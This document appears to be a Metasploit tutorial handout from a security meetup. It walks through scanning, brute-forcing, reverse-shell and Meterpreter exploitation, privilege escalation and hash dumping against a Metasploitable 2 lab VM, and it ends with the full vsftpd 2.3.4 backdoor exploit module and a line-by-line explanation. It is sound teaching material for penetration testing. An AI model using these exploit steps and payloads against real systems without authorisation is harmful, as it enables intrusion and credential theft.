Metasploit 101 - DC435

Disclaimer: This document is only for education purposes. Before scanning a network, always ask for consent.
Setup: This document was prepared with Metasploit Framework 5.0.65-dev[1] running on Kali Linux 5.3.0[2], and Metasploitable 2[3].

1 Introduction to Penetration Testing

A penetration test has the following steps[4]:

- Pre-engagement Interactions: defining scope and pemission.
- Intelligence Gathering: getting information on the target through different methods.
- Threat Modeling: identifying different vulnerabilities on the target.
- Vulnerability Analysis: identifying the attack method.
- Exploitation: executing the attack.
- Post Exploitation: getting valuable information from the target.
- Reporting: the boring stuff.

1.1 Metasploit Framework and Nmap

Metasploit is a framework that aims to automate many of the repetitive tasks in the previous steps. Normally, when we talk about Metasploit we refer to a subproject called console.

Let's compare Metasploit with Nmap. On the one hand, Nmap focuses on Intelligence Gathering, with a bit of Vulnerability Analysis and Exploitation through its scripts. On the other hand, Metasploit focuses on Exploitation and post exploitation, with a minor emphasis on Intelligence Gathering.

1.2 Terminology

We need to define the following terms:

- Exploit: the way by which a pentests take advantage of a vulnerability.
- Payload: the code we want the target system to execute.
- Shellcode: set of instructions used as payload. Generally in asembly.
- Module: a piece of software that can be used by Metasploit.
- Listener: a component within Metasploit that waits for an incomming connection.

[1] `https://github.com/rapid7/metasploit-framework`
[2] `https://www.kali.org`
[3] `https://sourceforge.net/projects/metasploitable/`
[4] `http://www.pentest-standard.org`. (Yes, it is `http`. Yikes!)

1.3 Framework Components

Metasploit comes with a series of tools, but we will focus on two: Console and Meterpreter. While the fist is an interactive tool to access all the modules, the second is a shellcode that provides post-exploitation commands.
Other tools worth exploring are:

- CLI: provides a way to access the different modules of Metasploit from the command line.
- Venom: generates the shellcode in our payload. One of the options is Meterpreter.

1.4 Using The Console

Before starting the console, it is important to start the `psql` server, as the console will work faster:

```
# service postgresql start && msfdb init
```

Now, lets start the console from the command line:

```
# msfconsole
```

Once in the console, access the help menu:

```
msf5 > help
```

2 Intelligence Gathering

Information gethering can be either passive and active. Depending on the author the difference between one and the other changes. For this writeup, passive information gathering is any act of getting information about the target without sending any message to the target.

2.1 Passive Intelligence Gathering

We can perform some passive intelligence gathering with the following command `whois`:

```
msf5 > whois <domain>|<ip_address>
```

For example:

```
msf5 > whois www.google.com
msf5 > whois 8.8.8.8
```

2.2 Active Intelligence Gathering

2.2.1 Portscanning

For active intelligence gathering, we will start with a basic port scanner, which is done by using modules. There are six important commands to use a module:

1. Find the module:
   `msf5 > search <string>`
2. Select the module (we can use the tab key to autocomplete the name):
   `msf5 > use <module>`
3. Display the module's options:
   `msf5 > show options`
4. Configure a module option:
   `msf5 > set <option_name> <value>`
5. Execute the module:
   `msf5 > exploit` or `msf5 > run`
6. Show the hosts added to Metasploit's db or the ones identified in a scan:
   `msf5 > hosts <options>`
7. Leave the current module:
   `msf5 > back`

Now, to actually perform the portscanning, we follow these steps:

1. `msf5 > search portscan`
2. `msf5 > use auxiliary/scanner/portscan/syn`
3. `msf5 > show options`
4. `msf5 > set RHOSTS 192.168.56.101` (After we have a list of hosts we can use `msf5 > hosts -R` to setup the target hosts in each module)
5. `msf5 > set INTERFACE vboxnet0`
6. `msf5 > run`
7. (optional) `msf5 > hosts`
8. `msf5 > back`

Additionally, we can use `nmap` within Metasploit, for example:

```
msf5 > nmap -p- 192.168.56.101
```

2.2.2 Targeted Scannings

We can test other services by performing the same approach and by changing the module to a targeted one. These modules perform aditional actions than just identifying the status of a port. For example, the following modules information about different services running at the target.

- Find the MySQL version:
  `msf5 > use auxiliary/scanner/mysql/\`
  `> mysql_version`
- Find the SSH version:
  `msf5 > use auxiliary/scanner/ssh/ssh_version`
  (After using this command, `hosts` show a better description of our target)
- Find the FTP version:
  `msf5 > use auxiliary/scanner/ftp/ftp_version`
- Find the SMB version:
  `msf5 > use auxiliary/scanner/smb/smb_version`
- Find the telnet version:
  `msf5 > use auxiliary/scanner/telnet/telnet_version`

3 Vulnerability Scanning

Vulnerability scanners interact with the target in order to detect weaknesses. For example, they might try to login with default credentials; or based on the response, determine the verion and patches applied to a service.

Even though Metasploit can work with Nexpose and Nessus, we will focus on single-service vulnerabilty scanners.

- Validating SMB logins (bruteforce):
  `msf5 > use auxiliary/scanner/smb/smb_login` (For this, we need to setup a list of username and passwords. Check this module's options)
- Open VNC authentication:
  `msf5 > auxiliary/scanner/vnc/vnc_none_auth`
- Open X11 Servers:
  `msf5 > auxiliary/scanner/x11/open_x11`

Using auxiliary modules we can bruteforce passwords:

- Bruteforce root's password with VNC:
  `msf5 > auxiliary/scanner/vnc/vnc_login`
  `msf5 > set USERNAME root`
  `msf5 > hosts -R`
  `msf5 > run`

NOTE: to see the whole list of auxiliary modules use `msf5 > show auxiliary`

4 Exploitation

Metasploit helps us to take advantage of vulnerabilities with different exploitation modules. To see the list of exploitation modules type:

```
msf5 > show exploits
```

In the exploitation phase is where `msf5 > search` becomes helpful, as we can search for any string such as service name, service achronym, CVE, MS security bulletin, or fancy vulnerabilty name (like bluekeep).

After finding the right exploit module, the steps to use the module are the same we used for any other module, with the exception that before running the module we might need to check different configurations to decide on the IP of the target, ports, the type of target, and the payload. For example:

1. `msf5 > use exploit/linux/postgresql/\`
   `> postgresql_payload`
2. `msf5 > show payloads` (This will show the payloads only aplicable to the selected module)
3. `msf5 > set payload linux/x86/shell/reverse_tcp`

4. `msf5 > show options`
5. `msf5 > set RHOST 192.168.56.101`
6. `msf5 > set LHOST 192.168.56.1`
7. `msf5 > show targets`
8. `msf5 > set TARGET 0`
9. `msf5 > run`

NOTE: after getting a basic shell you can get an interactive shell with `python -c 'import pty; pty.spawn("/bin/bash")'`

Another example:

1. `msf5 > use exploit/unix/misc/distcc_exec`
2. `msf5 > run`

5 Post Exploitation

In general, the payload used determines the type of access we have after exploiting the target. Raughly, there are three types:

- Portbind: it opens a port in the target and then we can connect to such port. This is generally prevented by firewalls at the target. Generally, we obtain shell access (a.k.a. command line access) after connecting to the target port.
- Reverse shell: it open a port in our attacking system, then the target connects to our system. Generrally we obtain shell access.
- Meterpreter: it opens a port in our attacking system, then the target connects to our system. In this case we do not obtain shell access, we obtain a Meterpreter session, which includes additional commands.

5.1 Meterpreter

To obtain a Meterpreter session in the target, we can use the following commands:

1. `msf5 > use exploit/linux/postgresql/\`
   `> postgresql_payload`
2. `msf5 > set payload linux/x86/meterpreter/\`
   `> reverse_tcp`
3. `msf5 > set RHOST 192.168.56.101`
4. `msf5 > run`

Some of the most common commands that Meterpreter has are:

- List of commands:
  `meterpreter > help`
- Obtain shell:
  `meterpreter > shell`
- Get user info:
  `meterpreter > getuid`
- Get system info:
  `meterpreter > sysinfo`

Additionally, Meterpreter has scripts. The list of available scripts depends on the target. For our setup, we some of the available scripts are:

- Check if the target is a virtual machine:
  `run post/linux/gather/checkvm`
- Get network configuration:
  `run post/linux/gather/enum_network`
- Get possible local exploits
  `run post/multi/recon/local_exploit_suggester`

5.2 Getting Admin access

Once we obtained a session, we can execute some of the local exploits suggested by the previous script:

- `meterpreter > background` (This will show a session name)
- `msf5 > use exploit/linux/local/\`
  `> glibc_ld_audit_dso_load_priv_esc`
- `msf5 > set session 8` (This is the session we obtained by issuing `meterpreter > background`)
- `msf5 > set LHOST 192.168.56.1` (This is the IP where the target will try to connect, so it has to be an IP we control and reachable by the target)
- `msf5 > run`

After we obtain root privileges, we can run more scripts, for example:

- Get the password hashes:
  `meterpreter > run post/linux/gather/hashdump`

6 Challenge

We know there is an FTP service running in port 21 at our target. Exploit this service.

- Find the program name and version.
- Find an exploit in Metasploit.
- Configure the exploit.
- Execute the exploit.
- Profit.
- Extra credit: If not root, get root.

References

[1] `https://www.offensive-security.com/metasploit-unleashed`

[2] `https://metasploit.help.rapid7.com/docs/metasploitable-2-exploitability-guide`

[3] `https://saiyanpentesting.com/metasploitable-vnc/`

[4] Kennedy, David, et al. *Metasploit: the penetration tester's guide*. No Starch Press, 2011.

7 Extra: Analizing A Module

Metasploit and its modules are written in Ruby. We will analyze the module used for vsFTP 2.3.4[5] or at /usr/share/metasploit-framework/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb in Kali Linux:

```
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
    Rank = ExcellentRanking

    include Msf::Exploit::Remote::Tcp

    def initialize(info = {})
      super(update_info(info,
        'Name'           => 'VSFTPD v2.3.4 Backdoor Command Execution',
        'Description'    => %q{
            This module exploits a malicious backdoor that was added to the VSFTPD download
            archive. This backdoor was introduced into the vsftpd-2.3.4.tar.gz archive between
            June 30th 2011 and July 1st 2011 according to the most recent information
            available. This backdoor was removed on July 3rd 2011.
        },
        'Author'         => [ 'hdm', 'MC' ],
        'License'        => MSF_LICENSE,
        'References'     =>
          [
            [ 'OSVDB', '73573'],
            [ 'URL', 'http://pastebin.com/AetT9sS5'],
            [ 'URL', 'http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html
    ' ],
          ],
        'Privileged'     => true,
        'Platform'       => [ 'unix' ],
        'Arch'           => ARCH_CMD,
        'Payload'        =>
          {
            'Space'    => 2000,
            'BadChars' => '',
            'DisableNops' => true,
            'Compat'      =>
              {
                'PayloadType'    => 'cmd_interact',
                'ConnectionType' => 'find'
              }
          },
        'Targets'        =>
          [
            [ 'Automatic', { } ],
          ],
        'DisclosureDate' => 'Jul 3 2011',
        'DefaultTarget' => 0))

      register_options([ Opt::RPORT(21) ])
    end

    def exploit

      nsock = self.connect(false, {'RPORT' => 6200}) rescue nil
      if nsock
        print_status("The port used by the backdoor bind listener is already open")
        handle_backdoor(nsock)
        return
      end

      # Connect to the FTP service port first
      connect

      banner = sock.get_once(-1, 30).to_s
      print_status("Banner: #{banner.strip}")

      sock.put("USER #{rand_text_alphanumeric(rand(6)+1)}:)\r\n")
      resp = sock.get_once(-1, 30).to_s
```

[5]This is located at https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb

```
69        print_status("USER: #{resp.strip}")
70
71        if resp =~ /^530 /
72          print_error("This server is configured for anonymous only and the backdoor code cannot be reached"
    )
73          disconnect
74          return
75        end
76
77        if resp !~ /^331 /
78          print_error("This server did not respond as expected: #{resp.strip}")
79          disconnect
80          return
81        end
82
83        sock.put("PASS #{rand_text_alphanumeric(rand(6)+1)}\r\n")
84
85        # Do not bother reading the response from password, just try the backdoor
86        nsock = self.connect(false, {'RPORT' => 6200}) rescue nil
87        if nsock
88          print_good("Backdoor service has been spawned, handling...")
89          handle_backdoor(nsock)
90          return
91        end
92
93        disconnect
94
95      end
96
97      def handle_backdoor(s)
98
99        s.put("id\n")
100
101       r = s.get_once(-1, 5).to_s
102       if r !~ /uid=/
103         print_error("The service on port 6200 does not appear to be a shell")
104         disconnect(s)
105         return
106       end
107
108       print_good("UID: #{r.strip}")
109
110       s.put("nohup " + payload.encoded + " >/dev/null 2>&1")
111       handler(s)
112     end
113   end
```

The vulnerability associated with this exploit is a backdoor that provides unauthenticated root shell access at port 6200 after the characters `:)` are appended to any username.
Here's an explanation of different blocks of codes:

- 6: defines the type of module.
- 7: defines the rank of the module.
- 9: includes de module tcp.
- 11-50: defines boilerplate information on the module; such as name, description, author, license, etc. In line 49, it defines the default value for RPORT.
- 52-95: defines the exploit as follows:
  - 54-59: tests if port 6200 at the target is already in use. If that's true, then aborts the explot.
  - 61-65: connects to the ftp server and gets its banner.
  - 67: sends a random text as username with `:)` appended.
  - 68-69: gets the server response and prints it on screen.
  - 71-81: checkes the reponse from the server after the username is supplied. If the response is 530 or different than 331, the exploits disconnects and exits.
  - 83: sends a random text as the password.
  - 86-91: connects to port 6200 and calls the function `handle_backdoor`.

- 97-112: defines the function `handle_backdoor` as follows:
  - 99-108: requests the id of the username at the target, and checkts its result to determine if there is a shell connection.
  - 110-111: sends the payload and then sends the connection to the handler.